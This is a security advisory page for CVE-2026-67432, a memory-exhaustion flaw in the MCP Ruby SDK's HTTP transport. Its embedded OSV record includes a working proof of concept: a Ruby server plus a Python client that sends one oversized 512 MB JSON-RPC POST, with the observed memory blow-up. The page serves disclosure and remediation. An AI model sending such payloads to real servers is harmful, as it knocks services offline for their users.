CVE-2026-67432: MCP Ruby SDK Unbounded JSON-RPC Request Body Causes Vulnerability
HIGHCVE-2026-67432 is a HIGH (CVSS 7.5) unbounded json-rpc request body causes vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting MCP Ruby SDK libraries in the RubyGems ecosystem. The issue involves unbounded json-rpc request body causes uncontrolled memory allocation in streamablehttptransport. Remediation is available by upgrading affected packages to version 0.23.0.
CVE-2026-67432 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-67432
To remediate this vulnerability, upgrade all affected MCP Ruby SDK dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade mcp to 0.23.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for mcp
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-67432, inspect your project dependencies for MCP Ruby SDK:
inspect dependencies for mcp
Analyze the terminal output to locate any version of MCP Ruby SDK in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In MCP Ruby SDK, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-67432 Affected MCP Ruby SDK Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mcp
|
RubyGems |
< 0.23.0
|
0.23.0
|
References
Frequently Asked Questions
What is CVE-2026-67432?
Which MCP Ruby SDK versions are affected?
What version fixes CVE-2026-67432?
Is mcp affected?
What is the CVSS score of CVE-2026-67432?
What CWE is associated with CVE-2026-67432?
How can I check RubyGems dependencies for CVE-2026-67432?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h669-8m4g-r2hc",
"modified" : "2026-07-30T14:44:06Z",
"published" : "2026-07-30T14:44:06Z",
"aliases" : [ "CVE-2026-67432" ],
"summary" : "MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport",
"details" : "## Summary\n\nAn unauthenticated remote attacker can force any MCP Ruby SDK server using `MCP::Server::Transports::StreamableHTTPTransport` to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby `String` and parses it with `JSON.parse(body, symbolize_names: true)` with no size limit, no `Content-Length` pre-check, and no streaming parser, allowing trivial denial of service against the worker process.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`, method `handle_post`:\n\n- Line 341: `body_string = request.body.read` — reads the full HTTP body into memory with no upper bound.\n- Lines 531–535: `JSON.parse(body_string, symbolize_names: true)` — fully materialises the parsed object graph; with `symbolize_names: true` every JSON key also allocates a Ruby symbol.\n\nThe vulnerable path runs **before** session validation, so it is reachable in both the default stateful mode and in `stateless: true` mode, without an `Mcp-Session-Id` header and without any prior authentication.\n\nA second instance of the same root cause exists in `lib/mcp/server/transports/stdio_transport.rb:23` (`$stdin.gets` with no `limit:` argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.\n\n## Proof of concept\n\nBoth files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (`rack ~> 3.2`, `rackup >= 2.1.0`, `webrick ~> 1.9`) and Python's standard library.\n\n### Server (`oom_poc_server.rb`)\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"oom-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(\n server, stateless: true, enable_json_response: true,\n)\n\nThread.new do\n loop do\n rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n STDERR.puts(\"[mem] PID=#{Process.pid} RSS=#{rss_mb} MB\")\n sleep 2\n end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9293/\")\nRackup::Handler::WEBrick.run(\n transport,\n Host: \"127.0.0.1\", Port: 9293,\n AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`oom_poc_client.py`)\n\n```python\nimport socket\n\nHOST, PORT, PAYLOAD_MB = \"127.0.0.1\", 9293, 512\n\ninner = b\"A\" * (PAYLOAD_MB * 1024 * 1024 - 64)\nbody = b'{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"x\":\"' + inner + b'\"}}'\n\nheaders = (\n f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n f\"Content-Type: application/json\\r\\n\"\n f\"Accept: application/json, text/event-stream\\r\\n\"\n f\"Content-Length: {len(body)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode()\n\ns = socket.create_connection((HOST, PORT), timeout=120)\ns.sendall(headers)\nfor i in range(0, len(body), 1 << 20):\n s.sendall(body[i:i + (1 << 20)])\nprint(f\"sent {PAYLOAD_MB} MB\")\ntry:\n print(\"recv:\", s.recv(2048)[:200])\nexcept OSError as e:\n print(\"server unresponsive:\", e)\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby oom_poc_server.rb # terminal A\npython3 oom_poc_client.py # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4 (rbenv), against the SDK's `main` branch with `rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2`:\n\n```\n[mem] PID=61394 RSS=44 MB # idle baseline\n[mem] PID=61394 RSS=44 MB\n[mem] PID=61394 RSS=44 MB\n[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST\n[mem] PID=61394 RSS=1663 MB # memory not released\n[mem] PID=61394 RSS=1663 MB\n```\n\nA single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.\n\n<img width=\"1588\" height=\"836\" alt=\"poc1-1\" src=\"https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f\" />\n\n<img width=\"1400\" height=\"948\" alt=\"poc1-2\" src=\"https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6\" />\n\n\n\n## Impact\n\n- **Attacker requirements:** none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.\n- **Effect:** memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.\n- **Affected deployments:** every server mounting `MCP::Server::Transports::StreamableHTTPTransport` as a Rack app — the canonical HTTP deployment pattern. Both stateful and `stateless: true` configurations are affected.\n\n## Suggested mitigation\n\n1. Reject requests whose `Content-Length` (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling `request.body.read`.\n2. Use a streaming JSON parser, or pass `max_nesting:` plus a hard byte cap to `JSON.parse`.\n3. Apply the same `limit:` argument to `$stdin.gets` in `StdioTransport` for defence in depth.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "RubyGems",
"name" : "mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.23.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.22.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67432"
}, {
"type" : "WEB",
"url" : "https://github.com/modelcontextprotocol/ruby-sdk/commit/772e0cb1f9db69312006926eee59a7287ad50166"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/modelcontextprotocol/ruby-sdk"
}, {
"type" : "WEB",
"url" : "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-30T14:44:06Z",
"nvd_published_at" : "2026-07-29T20:17:12Z"
}
}